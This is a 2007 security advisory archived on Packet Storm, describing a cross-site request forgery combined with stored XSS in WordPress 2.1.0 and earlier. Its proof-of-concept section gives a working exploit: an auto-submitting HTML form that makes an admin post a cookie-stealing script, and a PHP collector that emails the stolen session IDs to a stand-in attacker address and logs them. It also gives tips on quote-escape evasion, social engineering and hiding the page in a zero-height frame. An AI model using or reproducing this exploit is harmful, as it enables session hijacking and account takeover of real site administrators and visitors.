exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Advisory4-20022007.txt

Advisory4-20022007.txt
Posted Mar 6, 2007
Authored by ciri

WordPress versions 2.1.0 and below suffer from cross site request forgery with cross site scripting vulnerabilities. Oh, the madness.

tags | exploit, vulnerability, xss, csrf
SHA-256 | f4eda6cdc00d698f5247183a33eee544a1b137e2366e811d36479867f926bd74

Advisory4-20022007.txt

Change Mirror Download
---------------------------------------------------------------------------------
| ____ ____.__ __ |
| \ \ / /|__|_______/ |_ __ _______ ___ ___ |
| \ Y / | \_ __ \ __\ | \__ \ \ \/ / |
| \ / | || | \/| | | | // __ \_> < |
| \___/ |__||__| |__| |____/(____ /__/\_ \ |
| \/ \/ |
| Security without illusions |
| www.virtuax.be |
| |
---------------------------------------------------------------------------------


Application: Wordpress
Vulnerable Versions: <= v2.1.0
Vulnerability: XSRF with XSS

Vendor: http://www.wordpress.net
Vendor Status: Notified

Found: 20-02-2007
Public Release Date: 01-03-2007
Last modified: 01-03-2007
Author: ciri
E-mail: ciri[a.t]virtuax[d.o.t]be

reference: http://www.virtuax.be/advisories/Advisory4-20022007.txt

=================================================================================

Shouts to the VirtuaX Crew & Community!
Special thanks go out to R4N01 for noticing the XSS!

=================================================================================



I. Background
-------------

"WordPress is a state-of-the-art semantic personal publishing platform with a
focus on aesthetics, web standards, and usability. "
by wordpress.net

II. Vulnerablity
----------------

If you're logged in into wordpress as an admin, your comments aren't properly
sanitized, thus allowing an XSS to be posted. Normally an admin wouldn't input
XSS input vectors, but we can make them do it with a simple XSRF script.

IIa. Affected Versions
----------------------

I'm assuming all versions <= 2.1.0 are vulnerable although I have only tested the
latest version (2.1.0). This should work in all browser that have JavaScript enabled
(default in most browsers).

III. PoC
--------

[code=sploit.html]
<form action="http://example.com/wp-comments-post.php" method="post" name="commentform" id="commentform">
<textarea name="comment" id="comment">
<script>String.fromCharCode(x,y,z,q,r,s)+document.cookie;</script>
</script>
</textarea>

<input type="hidden" name="comment_post_ID" value="**ID**" />
</form>
<script>document.commentform.submit();</script>
[/code]

[code=steal.php]
<?php
//Get the session id
$id = $_GET["id"];

//Send it to our e-mail
mail("evilhacker@yoursite.com", "Cookie stolen", $id);

//Save a backup
$file = fopen('log.txt', 'a');
fwrite($file, $id . "\n\n");
?>
[/code]

Notes:
- **ID** should be the ID of the commentpage in which you want to inject
the XSS.
- Replace 'String.fromCharCode(x,y,z,q,r,s)' with the appropiate integers
which lead to steal.php (you can look them up in an ASCII table)
eg: http://yoursite.com/steel.php?id=
String.fromCharCode(104,116,116,112,58,47,47,121,111,117,114,
115,105,116,101,46,99,111,109,47,115,116,101,101,108,46,112,
104,112,63,105,100,61);
We need to do this because Wordpress escapes quotes.

We trick the admin into going to our sploit.html page (should be fairly easy
using basic social engineering skills). It is recommended that you hide the page
in a frame with no height, more stealth options are beyond the scope of this
advisory. Upon entering the page, the admin will post the XSS input vector as a
comment. Herafter he and EVERY other user that visits the page with comments will
automatically submit their session_id's to you.

Copyright 2007 by ciri from Virtuax.be All rights reserved.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close